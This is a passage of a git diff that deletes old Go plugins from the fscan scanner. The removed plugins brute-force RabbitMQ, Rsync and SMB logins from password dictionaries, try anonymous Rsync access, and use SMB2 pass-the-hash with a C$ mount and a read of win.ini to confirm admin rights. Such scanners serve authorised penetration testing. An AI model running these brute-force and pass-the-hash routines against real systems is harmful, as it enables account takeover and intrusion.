common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &RabbitMQScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - ErrorMsg: errorMsg, - } -} - -// RabbitMQConn 尝试 RabbitMQ 连接 -func RabbitMQConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error, string) { - host, port := info.Host, info.Ports - - // 构造 AMQP URL - amqpURL := fmt.Sprintf("amqp://%s:%s@%s:%s/", user, pass, host, port) - - // 创建结果通道 - resultChan := make(chan struct { - success bool - err error - detailErr string - }, 1) - - // 在协程中尝试连接 - go func() { - // 配置连接 - config := amqp.Config{ - Dial: func(network, addr string) (net.Conn, error) { - dialer := &net.Dialer{Timeout: time.Duration(common.Timeout) * time.Second} - return dialer.DialContext(ctx, network, addr) - }, - } - - // 尝试连接 - conn, err := amqp.DialConfig(amqpURL, config) - - if err != nil { - detailErr := err.Error() - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - detailErr string - }{false, err, detailErr}: - } - return - } - defer conn.Close() - - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - detailErr string - }{true, nil, ""}: - } - }() - - // 等待结果或上下文取消 - select { - case result := <-resultChan: - return result.success, result.err, result.detailErr - case <-ctx.Done(): - return false, ctx.Err(), ctx.Err().Error() - } -} - -// saveRabbitMQResult 保存RabbitMQ扫描结果 -func saveRabbitMQResult(info *common.HostInfo, target string, credential RabbitMQCredential) { - successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v", - target, credential.Username, credential.Password) - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "rabbitmq", - "username": credential.Username, - "password": credential.Password, - "type": "weak-password", - }, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/Redis.go b/Plugins/Redis.go deleted file mode 100644 index 12ea776..0000000 --- a/Plugins/Redis.go +++ /dev/null @@ -1,19 +0,0 @@ -package Plugins - -import ( - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/adapter" -) - -// RedisScan 执行Redis服务扫描 -// 现在完全使用新的插件架构 -func RedisScan(info *common.HostInfo) error { - // 使用新的插件架构 - if adapter.TryNewArchitecture("redis", info) { - return nil // 新架构处理成功 - } - - // 如果新架构不支持,记录错误(理论上不应该发生) - common.LogError("Redis插件新架构不可用,请检查插件注册") - return nil -} \ No newline at end of file diff --git a/Plugins/Rsync.go b/Plugins/Rsync.go deleted file mode 100644 index 0e7731c..0000000 --- a/Plugins/Rsync.go +++ /dev/null @@ -1,477 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" -) - -// RsyncCredential 表示一个Rsync凭据 -type RsyncCredential struct { - Username string - Password string -} - -// RsyncScanResult 表示Rsync扫描结果 -type RsyncScanResult struct { - Success bool - Error error - Credential RsyncCredential - IsAnonymous bool - ModuleName string -} - -func RsyncScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%v:%v", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 首先尝试匿名访问 - common.LogDebug("尝试匿名访问...") - anonymousResult := tryRsyncCredential(ctx, info, RsyncCredential{"", ""}, common.Timeout, common.MaxRetries) - - if anonymousResult.Success { - // 匿名访问成功 - saveRsyncResult(info, target, anonymousResult) - return nil - } - - // 构建凭据列表 - var credentials []RsyncCredential - for _, user := range common.Userdict["rsync"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, RsyncCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["rsync"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentRsyncScan(ctx, info, credentials, common.Timeout, common.MaxRetries) - if result != nil { - // 保存成功结果 - saveRsyncResult(info, target, result) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("Rsync扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问 - return nil - } -} - -// concurrentRsyncScan 并发扫描Rsync服务 -func concurrentRsyncScan(ctx context.Context, info *common.HostInfo, credentials []RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *RsyncScanResult, 1) - workChan := make(chan RsyncCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - result := tryRsyncCredential(scanCtx, info, credential, timeoutSeconds, maxRetries) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("Rsync并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// tryRsyncCredential 尝试单个Rsync凭据 -func tryRsyncCredential(ctx context.Context, info *common.HostInfo, credential RsyncCredential, timeoutSeconds int64, maxRetries int) *RsyncScanResult { - var lastErr error - - for retry := 0; retry < maxRetries; retry++ { - select { - case <-ctx.Done(): - return &RsyncScanResult{ - Success: false, - Error: fmt.Errorf("全局超时"), - Credential: credential, - } - default: - if retry > 0 { - common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) - time.Sleep(500 * time.Millisecond) // 重试前等待 - } - - // 创建连接超时上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second) - success, moduleName, err := RsyncConn(connCtx, info, credential.Username, credential.Password) - cancel() - - if success { - isAnonymous := credential.Username == "" && credential.Password == "" - return &RsyncScanResult{ - Success: true, - Credential: credential, - IsAnonymous: isAnonymous, - ModuleName: moduleName, - } - } - - lastErr = err - if err != nil { - // 检查是否需要重试 - if retryErr := common.CheckErrs(err); retryErr == nil { - break // 不需要重试的错误 - } - } - } - } - - return &RsyncScanResult{ - Success: false, - Error: lastErr, - Credential: credential, - } -} - -// RsyncConn 尝试Rsync连接 -func RsyncConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, string, error) { - host, port := info.Host, info.Ports - timeout := time.Duration(common.Timeout) * time.Second - - // 建立连接 - conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout) - if err != nil { - return false, "", err - } - defer conn.Close() - - // 创建结果通道用于超时控制 - resultChan := make(chan struct { - success bool - moduleName string - err error - }, 1) - - // 在协程中处理连接,以支持上下文取消 - go func() { - buffer := make([]byte, 1024) - - // 1. 读取服务器初始greeting - conn.SetReadDeadline(time.Now().Add(timeout)) - n, err := conn.Read(buffer) - if err != nil { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - moduleName string - err error - }{false, "", err}: - } - return - } - - greeting := string(buffer[:n]) - if !strings.HasPrefix(greeting, "@RSYNCD:") { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - moduleName string - err error - }{false, "", fmt.Errorf("不是Rsync服务")}: - } - return - } - - // 获取服务器版本号 - version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:")) - - // 2. 回应相同的版本号 - conn.SetWriteDeadline(time.Now().Add(timeout)) - _, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version))) - if err != nil { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - moduleName string - err error - }{false, "", err}: - } - return - } - - // 3. 选择模块 - 先列出可用模块 - conn.SetWriteDeadline(time.Now().Add(timeout)) - _, err = conn.Write([]byte("#list\n")) - if err != nil { - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - moduleName string - err error - }{false, "", err}: - } - return - } - - // 4. 读取模块列表 - var moduleList strings.Builder - for { - // 检查上下文是否取消 - select { - case <-ctx.Done(): - return - default: - } - - conn.SetReadDeadline(time.Now().Add(timeout)) - n, err = conn.Read(buffer) - if err != nil { - break - } - chunk := string(buffer[:n]) - moduleList.WriteString(chunk) - if strings.Contains(chunk, "@RSYNCD: EXIT") { - break - } - } - - modules := strings.Split(moduleList.String(), "\n") - for _, module := range modules { - if strings.HasPrefix(module, "@RSYNCD") || module == "" { - continue - } - - // 获取模块名 - moduleName := strings.Fields(module)[0] - - // 检查上下文是否取消 - select { - case <-ctx.Done(): - return - default: - } - - // 5. 为每个模块创建新连接尝试认证 - authConn, err := common.WrapperTcpWithTimeout(host, port, timeout) - if err != nil { - continue - } - defer authConn.Close() // 重复初始握手 - authConn.SetReadDeadline(time.Now().Add(timeout)) - _, err = authConn.Read(buffer) - if err != nil { - authConn.Close() - continue - } - - authConn.SetWriteDeadline(time.Now().Add(timeout)) - _, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version))) - if err != nil { - authConn.Close() - continue - } - - // 6. 选择模块 - authConn.SetWriteDeadline(time.Now().Add(timeout)) - _, err = authConn.Write([]byte(moduleName + "\n")) - if err != nil { - authConn.Close() - continue - } - - // 7. 等待认证挑战 - authConn.SetReadDeadline(time.Now().Add(timeout)) - n, err = authConn.Read(buffer) - if err != nil { - authConn.Close() - continue - } - - authResponse := string(buffer[:n]) - if strings.Contains(authResponse, "@RSYNCD: OK") { - // 模块不需要认证 - if user == "" && pass == "" { - authConn.Close() - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - moduleName string - err error - }{true, moduleName, nil}: - } - return - } - } else if strings.Contains(authResponse, "@RSYNCD: AUTHREQD") { - if user != "" && pass != "" { - // 8. 发送认证信息 - authString := fmt.Sprintf("%s %s\n", user, pass) - authConn.SetWriteDeadline(time.Now().Add(timeout)) - _, err = authConn.Write([]byte(authString)) - if err != nil { - authConn.Close() - continue - } - - // 9. 读取认证结果 - authConn.SetReadDeadline(time.Now().Add(timeout)) - n, err = authConn.Read(buffer) - if err != nil { - authConn.Close() - continue - } - - if !strings.Contains(string(buffer[:n]), "@ERROR") { - authConn.Close() - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - moduleName string - err error - }{true, moduleName, nil}: - } - return - } - } - } - authConn.Close() - } - - // 如果执行到这里,没有找到成功的认证 - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - moduleName string - err error - }{false, "", fmt.Errorf("认证失败或无可用模块")}: - } - }() - - // 等待结果或上下文取消 - select { - case result := <-resultChan: - return result.success, result.moduleName, result.err - case <-ctx.Done(): - return false, "", ctx.Err() - } -} - -// saveRsyncResult 保存Rsync扫描结果 -func saveRsyncResult(info *common.HostInfo, target string, result *RsyncScanResult) { - var successMsg string - var details map[string]interface{} - - if result.IsAnonymous { - successMsg = fmt.Sprintf("Rsync服务 %s 匿名访问成功 模块: %s", target, result.ModuleName) - details = map[string]interface{}{ - "port": info.Ports, - "service": "rsync", - "type": "anonymous-access", - "module": result.ModuleName, - } - } else { - successMsg = fmt.Sprintf("Rsync服务 %s 爆破成功 用户名: %v 密码: %v 模块: %s", - target, result.Credential.Username, result.Credential.Password, result.ModuleName) - details = map[string]interface{}{ - "port": info.Ports, - "service": "rsync", - "type": "weak-password", - "username": result.Credential.Username, - "password": result.Credential.Password, - "module": result.ModuleName, - } - } - - common.LogSuccess(successMsg) - - // 保存结果 - vulnResult := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: details, - } - common.SaveResult(vulnResult) -} diff --git a/Plugins/SMB.go b/Plugins/SMB.go deleted file mode 100644 index 7d91531..0000000 --- a/Plugins/SMB.go +++ /dev/null @@ -1,299 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - "github.com/stacktitan/smb/smb" - "strings" - "sync" - "time" -) - -// SmbCredential 表示一个SMB凭据 -type SmbCredential struct { - Username string - Password string -} - -// SmbScanResult 表示SMB扫描结果 -type SmbScanResult struct { - Success bool - Error error - Credential SmbCredential -} - -func SmbScan(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%s:%s", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 构建凭据列表 - var credentials []SmbCredential - for _, user := range common.Userdict["smb"] { - for _, pass := range common.Passwords { - actualPass := strings.Replace(pass, "{user}", user, -1) - credentials = append(credentials, SmbCredential{ - Username: user, - Password: actualPass, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["smb"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - result := concurrentSmbScan(ctx, info, credentials, common.Timeout) - if result != nil { - // 记录成功结果 - saveSmbResult(info, target, result.Credential) - return nil - } - - // 检查是否因为全局超时而退出 - select { - case <-ctx.Done(): - common.LogDebug("SMB扫描全局超时") - return fmt.Errorf("全局超时") - default: - common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials))) - return nil - } -} - -// concurrentSmbScan 并发扫描SMB服务 -func concurrentSmbScan(ctx context.Context, info *common.HostInfo, credentials []SmbCredential, timeoutSeconds int64) *SmbScanResult { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *SmbScanResult, 1) - workChan := make(chan SmbCredential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 记录用户锁定状态,避免继续尝试已锁定的用户 - lockedUsers := make(map[string]bool) - var lockedMutex sync.Mutex - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - // 检查用户是否已锁定 - lockedMutex.Lock() - locked := lockedUsers[credential.Username] - lockedMutex.Unlock() - if locked { - common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username)) - continue - } - - result := trySmbCredential(scanCtx, info, credential, timeoutSeconds) - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - - // 检查账号锁定错误 - if result.Error != nil && strings.Contains(result.Error.Error(), "账号锁定") { - lockedMutex.Lock() - lockedUsers[credential.Username] = true - lockedMutex.Unlock() - common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username)) - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - // 检查用户是否已锁定 - lockedMutex.Lock() - locked := lockedUsers[cred.Username] - lockedMutex.Unlock() - if locked { - continue // 跳过已锁定用户 - } - - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - return result - } - return nil - case <-ctx.Done(): - common.LogDebug("SMB并发扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return nil - } -} - -// trySmbCredential 尝试单个SMB凭据 -func trySmbCredential(ctx context.Context, info *common.HostInfo, credential SmbCredential, timeoutSeconds int64) *SmbScanResult { - // 创建单个连接超时上下文的结果通道 - resultChan := make(chan struct { - success bool - err error - }, 1) - - // 在协程中尝试连接 - go func() { - signal := make(chan struct{}, 1) - success, err := SmblConn(info, credential.Username, credential.Password, signal) - - select { - case <-ctx.Done(): - case resultChan <- struct { - success bool - err error - }{success, err}: - } - }() - - // 等待结果或超时 - select { - case result := <-resultChan: - return &SmbScanResult{ - Success: result.success, - Error: result.err, - Credential: credential, - } - case <-ctx.Done(): - return &SmbScanResult{ - Success: false, - Error: ctx.Err(), - Credential: credential, - } - case <-time.After(time.Duration(timeoutSeconds) * time.Second): - return &SmbScanResult{ - Success: false, - Error: fmt.Errorf("连接超时"), - Credential: credential, - } - } -} - -// saveSmbResult 保存SMB扫描结果 -func saveSmbResult(info *common.HostInfo, target string, credential SmbCredential) { - // 构建结果消息 - var successMsg string - details := map[string]interface{}{ - "port": info.Ports, - "service": "smb", - "username": credential.Username, - "password": credential.Password, - "type": "weak-password", - } - - if common.Domain != "" { - successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, common.Domain, credential.Username, credential.Password) - details["domain"] = common.Domain - } else { - successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, credential.Username, credential.Password) - } - - // 记录成功日志 - common.LogSuccess(successMsg) - - // 保存结果 - result := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "vulnerable", - Details: details, - } - common.SaveResult(result) -} - -// SmblConn 尝试建立SMB连接并认证 -func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { - options := smb.Options{ - Host: info.Host, - Port: 445, - User: user, - Password: pass, - Domain: common.Domain, - Workstation: "", - } - - session, err := smb.NewSession(options, false) - if err == nil { - defer session.Close() - if session.IsAuthenticated { - return true, nil - } - return false, fmt.Errorf("认证失败") - } - - // 清理错误信息中的换行符和多余空格 - errMsg := strings.TrimSpace(strings.ReplaceAll(err.Error(), "\n", " ")) - if strings.Contains(errMsg, "NT Status Error") { - switch { - case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"): - err = fmt.Errorf("密码错误") - case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"): - err = fmt.Errorf("账号锁定") - case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"): - err = fmt.Errorf("拒绝访问") - case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"): - err = fmt.Errorf("账号禁用") - case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"): - err = fmt.Errorf("密码过期") - case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"): - return false, fmt.Errorf("会话断开") - default: - err = fmt.Errorf("认证失败") - } - } - - signal <- struct{}{} - return false, err -} diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go deleted file mode 100644 index 3f4bcc3..0000000 --- a/Plugins/SMB2.go +++ /dev/null @@ -1,492 +0,0 @@ -package Plugins - -import ( - "context" - "fmt" - "os" - "strings" - "sync" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/output" - - "github.com/hirochachacha/go-smb2" -) - -// Smb2Credential 表示一个SMB2凭据 -type Smb2Credential struct { - Username string - Password string - Hash []byte - IsHash bool -} - -// Smb2ScanResult 表示SMB2扫描结果 -type Smb2ScanResult struct { - Success bool - Error error - Credential Smb2Credential - Shares []string -} - -// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 -func SmbScan2(info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - target := fmt.Sprintf("%s:%s", info.Host, info.Ports) - common.LogDebug(fmt.Sprintf("开始SMB2扫描 %s", target)) - - // 设置全局超时上下文 - ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second) - defer cancel() - - // 根据是否提供哈希选择认证模式 - if len(common.HashBytes) > 0 { - return smbHashScan(ctx, info) - } - - return smbPasswordScan(ctx, info) -} - -// smbPasswordScan 使用密码进行SMB2认证扫描 -func smbPasswordScan(ctx context.Context, info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - // 构建凭据列表 - var credentials []Smb2Credential - for _, user := range common.Userdict["smb"] { - for _, pass := range common.Passwords { - actualPass := strings.ReplaceAll(pass, "{user}", user) - credentials = append(credentials, Smb2Credential{ - Username: user, - Password: actualPass, - Hash: []byte{}, - IsHash: false, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d, 总组合数: %d)", - len(common.Userdict["smb"]), len(common.Passwords), len(credentials))) - - // 使用工作池并发扫描 - return concurrentSmb2Scan(ctx, info, credentials) -} - -// smbHashScan 使用哈希进行SMB2认证扫描 -func smbHashScan(ctx context.Context, info *common.HostInfo) error { - if common.DisableBrute { - return nil - } - - // 构建凭据列表 - var credentials []Smb2Credential - for _, user := range common.Userdict["smb"] { - for _, hash := range common.HashBytes { - credentials = append(credentials, Smb2Credential{ - Username: user, - Password: "", - Hash: hash, - IsHash: true, - }) - } - } - - common.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d, 总组合数: %d)", - len(common.Userdict["smb"]), len(common.HashBytes), len(credentials))) - - // 使用工作池并发扫描 - return concurrentSmb2Scan(ctx, info, credentials) -} - -// concurrentSmb2Scan 并发扫描SMB2服务 -func concurrentSmb2Scan(ctx context.Context, info *common.HostInfo, credentials []Smb2Credential) error { - // 使用ModuleThreadNum控制并发数 - maxConcurrent := common.ModuleThreadNum - if maxConcurrent <= 0 { - maxConcurrent = 10 // 默认值 - } - if maxConcurrent > len(credentials) { - maxConcurrent = len(credentials) - } - - // 创建工作池 - var wg sync.WaitGroup - resultChan := make(chan *Smb2ScanResult, 1) - workChan := make(chan Smb2Credential, maxConcurrent) - scanCtx, scanCancel := context.WithCancel(ctx) - defer scanCancel() - - // 记录共享信息是否已打印和锁定的用户 - var ( - sharesPrinted bool - lockedUsers = make(map[string]bool) - mutex sync.Mutex - ) - - // 启动工作协程 - for i := 0; i < maxConcurrent; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for credential := range workChan { - select { - case <-scanCtx.Done(): - return - default: - // 检查用户是否已锁定 - mutex.Lock() - locked := lockedUsers[credential.Username] - currentSharesPrinted := sharesPrinted - mutex.Unlock() - - if locked { - common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username)) - continue - } - - // 尝试凭据 - result := trySmb2Credential(scanCtx, info, credential, currentSharesPrinted) - - // 更新共享信息打印状态 - if result.Shares != nil && len(result.Shares) > 0 && !currentSharesPrinted { - mutex.Lock() - sharesPrinted = true - mutex.Unlock() - - // 打印共享信息 - logShareInfo(info, credential.Username, credential.Password, credential.Hash, result.Shares) - } - - // 检查认证成功 - if result.Success { - select { - case resultChan <- result: - scanCancel() // 找到有效凭据,取消其他工作 - default: - } - return - } - - // 检查账户锁定 - if result.Error != nil { - errMsg := result.Error.Error() - if strings.Contains(errMsg, "account has been automatically locked") || - strings.Contains(errMsg, "account has been locked") || - strings.Contains(errMsg, "user account has been automatically locked") { - - mutex.Lock() - lockedUsers[credential.Username] = true - mutex.Unlock() - - common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username)) - } - } - } - } - }() - } - - // 发送工作 - go func() { - for i, cred := range credentials { - select { - case <-scanCtx.Done(): - break - default: - // 检查用户是否已锁定 - mutex.Lock() - locked := lockedUsers[cred.Username] - mutex.Unlock() - - if locked { - continue // 跳过已锁定用户 - } - - if cred.IsHash { - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s Hash:%s", - i+1, len(credentials), cred.Username, common.HashValue)) - } else { - common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", - i+1, len(credentials), cred.Username, cred.Password)) - } - - workChan <- cred - } - } - close(workChan) - }() - - // 等待结果或完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 获取结果,考虑全局超时 - select { - case result, ok := <-resultChan: - if ok && result != nil && result.Success { - // 记录成功结果 - logSuccessfulAuth(info, result.Credential.Username, - result.Credential.Password, result.Credential.Hash) - return nil - } - return nil - case <-ctx.Done(): - common.LogDebug("SMB2扫描全局超时") - scanCancel() // 确保取消所有未完成工作 - return fmt.Errorf("全局超时") - } -} - -// trySmb2Credential 尝试单个SMB2凭据 -func trySmb2Credential(ctx context.Context, info *common.HostInfo, credential Smb2Credential, hasprint bool) *Smb2ScanResult { - // 创建单个连接超时上下文 - connCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second) - defer cancel() - - // 在协程中尝试连接 - resultChan := make(chan struct { - success bool - shares []string - err error - }, 1) - - go func() { - success, err, shares := Smb2Con(connCtx, info, credential.Username, - credential.Password, credential.Hash, hasprint) - - select { - case <-connCtx.Done(): - case resultChan <- struct { - success bool - shares []string - err error - }{success, shares, err}: - } - }() - - // 等待结果或超时 - select { - case result := <-resultChan: - if result.success { - return &Smb2ScanResult{ - Success: true, - Credential: credential, - Shares: result.shares, - } - } - - // 失败时记录错误 - if result.err != nil { - logFailedAuth(info, credential.Username, credential.Password, credential.Hash, result.err) - } - - return &Smb2ScanResult{ - Success: false, - Error: result.err, - Credential: credential, - Shares: result.shares, - } - - case <-connCtx.Done(): - if ctx.Err() != nil { - // 全局超时 - return &Smb2ScanResult{ - Success: false, - Error: ctx.Err(), - Credential: credential, - } - } - // 单个连接超时 - err := fmt.Errorf("连接超时") - logFailedAuth(info, credential.Username, credential.Password, credential.Hash, err) - return &Smb2ScanResult{ - Success: false, - Error: err, - Credential: credential, - } - } -} - -// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限 -func Smb2Con(ctx context.Context, info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, shares []string) { - // 建立TCP连接,使用socks代理支持 - conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(common.Timeout)*time.Second) - if err != nil { - return false, fmt.Errorf("连接失败: %v", err), nil - } - defer conn.Close() - - // 配置NTLM认证 - initiator := smb2.NTLMInitiator{ - User: user, - Domain: common.Domain, - } - - // 设置认证方式(哈希或密码) - if len(hash) > 0 { - initiator.Hash = hash - } else { - initiator.Password = pass - } - - // 创建SMB2会话 - dialer := &smb2.Dialer{ - Initiator: &initiator, - } - - // 使用context设置超时 - session, err := dialer.Dial(conn) - if err != nil { - return false, fmt.Errorf("SMB2会话建立失败: %v", err), nil - } - defer session.Logoff() - - // 检查上下文是否已取消 - select { - case <-ctx.Done(): - return false, ctx.Err(), nil - default: - } - - // 获取共享列表 - sharesList, err := session.ListSharenames() - if err != nil { - return false, fmt.Errorf("获取共享列表失败: %v", err), nil - } - - // 再次检查上下文是否已取消 - select { - case <-ctx.Done(): - return false, ctx.Err(), sharesList - default: - } - - // 尝试访问C$共享以验证管理员权限 - fs, err := session.Mount("C$") - if err != nil { - return false, fmt.Errorf("挂载C$失败: %v", err), sharesList - } - defer fs.Umount() - - // 最后检查上下文是否已取消 - select { - case <-ctx.Done(): - return false, ctx.Err(), sharesList - default: - } - - // 尝试读取系统文件以验证权限 - path := `Windows\win.ini` - f, err := fs.OpenFile(path, os.O_RDONLY, 0666) - if err != nil { - return false, fmt.Errorf("访问系统文件失败: %v", err), sharesList - } - defer f.Close() - - return true, nil, sharesList -} - -// logSuccessfulAuth 记录成功的认证 -func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) { - credential := pass - if len(hash) > 0 { - credential = common.HashValue - } - - // 保存认证成功结果 - result := &output.ScanResult{ - Time: time.Now(), - Type: output.TypeVuln, - Target: info.Host, - Status: "success", - Details: map[string]interface{}{ - "port": info.Ports, - "service": "smb2", - "username": user, - "domain": common.Domain, - "type": "weak-auth", - "credential": credential, - "auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0], - }, - } - common.SaveResult(result) - - // 控制台输出 - var msg string - if common.Domain != "" { - msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, common.Domain, user) - } else { - msg = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user) - } - - if len(hash) > 0 { - msg += fmt.Sprintf(" Hash:%s", common.HashValue) - } else { - msg += fmt.Sprintf(" Pass:%s", pass) - } - common.LogSuccess(msg) -} - -// logFailedAuth 记录失败的认证 -func logFailedAuth(info *common.HostInfo, user, pass string, hash []byte, err error) { - var errlog string - if len(hash) > 0 { - errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v", - info.Host, info.Ports, user, common.HashValue, err) - } else { - errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v", - info.Host, info.Ports, user, pass, err) - } - errlog = strings.ReplaceAll(errlog, "\n", " ") - common.LogError(errlog) -} - -// logShareInfo 记录SMB共享信息 -func logShareInfo(info *common.HostInfo, user string, pass string, hash []byte, shares []string) { - credential := pass - if len(hash) > 0 { - 